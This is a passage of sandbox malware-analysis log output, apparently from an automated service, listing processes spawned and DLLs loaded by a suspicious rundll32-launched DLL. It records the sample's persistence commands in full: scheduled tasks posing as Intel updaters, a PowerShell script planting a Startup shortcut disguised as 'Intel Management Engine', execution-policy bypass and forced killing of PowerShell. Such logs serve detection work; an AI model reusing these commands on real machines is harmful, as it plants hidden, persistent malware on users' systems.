Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",DllMainerUserOnly
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",DllMainerSmartAndSilent
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7648 -s 372
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Delete /TN IntelProfileUpdater_Helper /F
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "Write-Host 'Dummy process started. Press Ctrl+C to exit.'; while ($true) { try { Start-Sleep -Seconds 1 } catch { Write-Host 'Close signal received. Exiting...'; break } }"
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut('C:\Users\user\AppData\Roaming/Microsoft/Windows/Start Menu/Programs/Startup/IntelManagementEngine.lnk') $Shortcut.TargetPath = 'powershell.exe' $Shortcut.Description = 'The Intel Management Engine (ME) is an embedded microcontroller running on a dedicated microprocessor integrated into Intel chipsets.' $Shortcut.Arguments = '-NoProfile -ExecutionPolicy Bypass -Command C:\Windows\System32\rundll32.exe "C:\Users\user\AppData\Roaming/IntelManagementUnit/Mainer.dll",DllMainerUserOnly' $Shortcut.WindowStyle = 7 $Shortcut.Save()
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Delete /TN IntelProfileUpdater_OnLogOnDaily /F
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\""
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_Helper\" /xml \"C:\Users\user\AppData\Local\task.xml\""
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_Helper /xml C:\Users\user\AppData\Local\task.xml
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\uEhN67huiV.dll,DllMainer	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\uEhN67huiV.dll,DllMainerInstall	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\uEhN67huiV.dll,DllMainerInstallUserOnly	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",DllMainer	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",DllMainerInstall	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",DllMainerInstallUserOnly	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",Dummy	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",DotNetRuntimeDebugHeader	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",DllMainerUserOnly	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",DllMainerSmartAndSilent	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\uEhN67huiV.dll",#1	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Delete /TN IntelProfileUpdater_Helper /F	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Delete /TN IntelProfileUpdater_OnLogOnDaily /F	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\""	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_Helper\" /xml \"C:\Users\user\AppData\Local\task.xml\""	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut('C:\Users\user\AppData\Roaming/Microsoft/Windows/Start Menu/Programs/Startup/IntelManagementEngine.lnk') $Shortcut.TargetPath = 'powershell.exe' $Shortcut.Description = 'The Intel Management Engine (ME) is an embedded microcontroller running on a dedicated microprocessor integrated into Intel chipsets.' $Shortcut.Arguments = '-NoProfile -ExecutionPolicy Bypass -Command C:\Windows\System32\rundll32.exe "C:\Users\user\AppData\Roaming/IntelManagementUnit/Mainer.dll",DllMainerUserOnly' $Shortcut.WindowStyle = 7 $Shortcut.Save()	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_Helper /xml C:\Users\user\AppData\Local\task.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Delete /TN IntelProfileUpdater_Helper /F	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Delete /TN IntelProfileUpdater_OnLogOnDaily /F	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\""	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_Helper\" /xml \"C:\Users\user\AppData\Local\task.xml\""	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut('C:\Users\user\AppData\Roaming/Microsoft/Windows/Start Menu/Programs/Startup/IntelManagementEngine.lnk') $Shortcut.TargetPath = 'powershell.exe' $Shortcut.Description = 'The Intel Management Engine (ME) is an embedded microcontroller running on a dedicated microprocessor integrated into Intel chipsets.' $Shortcut.Arguments = '-NoProfile -ExecutionPolicy Bypass -Command C:\Windows\System32\rundll32.exe "C:\Users\user\AppData\Roaming/IntelManagementUnit/Mainer.dll",DllMainerUserOnly' $Shortcut.WindowStyle = 7 $Shortcut.Save()	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "Write-Host 'Dummy process started. Press Ctrl+C to exit.'; while ($true) { try { Start-Sleep -Seconds 1 } catch { Write-Host 'Close signal received. Exiting...'; break } }"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_Helper /xml C:\Users\user\AppData\Local\task.xml

Source: C:\Windows\System32\loaddll64.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
